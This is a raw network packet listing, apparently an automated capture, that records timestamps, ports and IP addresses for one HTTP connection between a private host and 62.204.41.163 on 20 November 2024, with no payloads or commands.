Nov 20, 2024 07:48:22.829262018 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.829267979 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.829299927 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.829318047 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.829318047 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.829404116 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.837532043 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.837565899 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.837625980 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.837650061 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.837650061 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.837658882 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.837676048 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.837713003 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.837743044 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.837745905 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.837800026 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.837826014 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.837832928 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.837887049 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.837915897 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.837918997 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.837971926 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.837997913 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.838022947 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.838057995 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.838083982 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.838090897 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.838143110 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.838169098 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.838179111 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.838213921 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.838244915 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.838253021 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.838285923 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.838311911 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.838319063 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.838352919 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.838381052 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.838387012 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.838422060 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.838449955 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.838470936 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.838504076 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.838531017 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.838537931 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.838572025 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.838598967 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.838604927 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.838639975 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.838665962 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.838670969 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.838756084 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.838785887 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.838788033 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.838820934 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.838850021 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.838855028 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.838891983 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.838917017 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.838923931 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.838958025 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.838985920 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.838990927 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.839024067 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.839050055 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.839056969 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.839093924 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.839118958 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.839126110 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.839160919 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.839186907 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.839193106 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.839226961 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.839252949 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.839260101 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.839296103 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.839323044 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.839342117 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.841602087 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.915729046 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.915832043 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.915867090 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.915867090 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.915896893 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.915926933 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.915956974 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.915961981 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.915996075 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.916021109 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.916028023 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.916052103 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.916069031 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.916121960 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.916150093 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.916155100 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.916188955 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.916214943 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.916245937 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.916297913 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.916328907 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.916336060 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.916368961 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.916395903 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.916421890 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.916456938 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.916485071 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.916506052 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.916543961 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.916569948 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.916577101 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.916613102 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.916640043 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.916640997 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.916672945 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.916701078 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.916707993 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.916739941 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.916769028 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.916773081 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.916806936 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.916832924 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.916840076 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.916872978 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.916898012 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.916906118 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.916939020 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.916965961 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.916971922 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.917006969 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.917032957 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.917040110 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.917068005 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.917073965 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.917107105 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.917117119 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.917140961 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.917166948 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.917175055 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.917201996 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.917207956 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.917239904 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.917265892 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.917272091 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.917305946 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.917334080 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.917339087 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.917371988 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.917397976 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.917397976 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.917404890 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.917435884 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.917439938 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.917464018 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.917473078 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.917500019 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.917506933 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.917541027 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.917545080 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.917583942 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.917598963 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.917625904 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.917651892 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.917661905 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.917695999 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.917722940 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.917728901 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.917762041 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.917788982 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.917794943 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.917826891 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.917854071 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.917860985 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.917887926 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.917895079 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.917928934 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.917956114 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.917959929 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.917993069 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.918020964 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.918026924 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.918060064 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.918087959 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.918093920 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.918127060 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.918154955 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.918163061 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.918270111 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.926213980 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.926278114 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.926294088 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.926316023 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.926331997 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.926338911 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.926348925 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.926357031 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.926366091 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.926377058 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.926384926 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.926390886 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.926399946 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.926414967 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.926422119 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.926430941 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.926445961 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.926453114 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.926471949 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.926552057 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.926559925 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.926567078 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.926574945 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.926589966 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.926611900 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.926615000 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.926629066 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.926644087 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.926649094 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.926660061 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.926672935 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.926680088 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.926687956 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.926692009 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.926702976 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.926718950 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.926726103 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.926733971 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.926767111 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.926768064 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.926780939 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.926815987 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.926841974 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.926866055 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.926899910 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.926933050 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.926933050 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.926964998 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.927000046 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.927006960 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.927036047 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.927067041 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.927069902 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.927095890 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.927103043 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.927130938 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.927136898 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.927150011 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.927170992 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.927196980 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.927203894 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.927231073 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.927232027 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.927263975 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.927283049 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.927295923 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.927350998 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.927376986 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.927385092 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.927412987 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.927418947 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.927452087 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.927479029 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.927486897 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.927515030 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.927520990 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.927548885 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.927548885 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.927582026 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.927592993 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.927618980 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.927653074 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.927670002 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.927686930 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.927712917 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.927720070 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.927752972 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:22.927782059 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:22.928057909 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.004707098 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.004730940 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.004750013 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.004779100 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.004802942 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.004806995 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.004806995 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.004831076 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.004831076 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.004847050 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.004857063 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.004862070 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.004877090 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.004884958 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.004893064 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.004909992 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.004915953 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.004934072 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.004934072 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.004950047 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.004957914 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.004975080 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.004991055 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.004992008 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.004992008 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.005006075 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.005012035 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.005021095 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.005034924 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.005049944 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.005057096 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.005065918 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.005073071 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.005080938 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.005089045 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.005095959 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.005111933 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.005114079 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.005131006 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.005141973 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.005171061 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.005175114 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.005184889 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.005223036 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.005242109 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.005275011 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.005300999 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.005309105 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.005342960 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.005367041 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.005383015 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.005417109 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.005470991 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.005521059 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.005551100 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.005572081 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.005599022 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.005608082 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.005636930 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.005659103 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.005690098 CET	49753	80	192.168.2.4	62.204.41.163
Nov 20, 2024 07:48:23.005692005 CET	80	49753	62.204.41.163	192.168.2.4
Nov 20, 2024 07:48:23.005743980 CET	80	49753	62.204.41.163	192.168.2.4
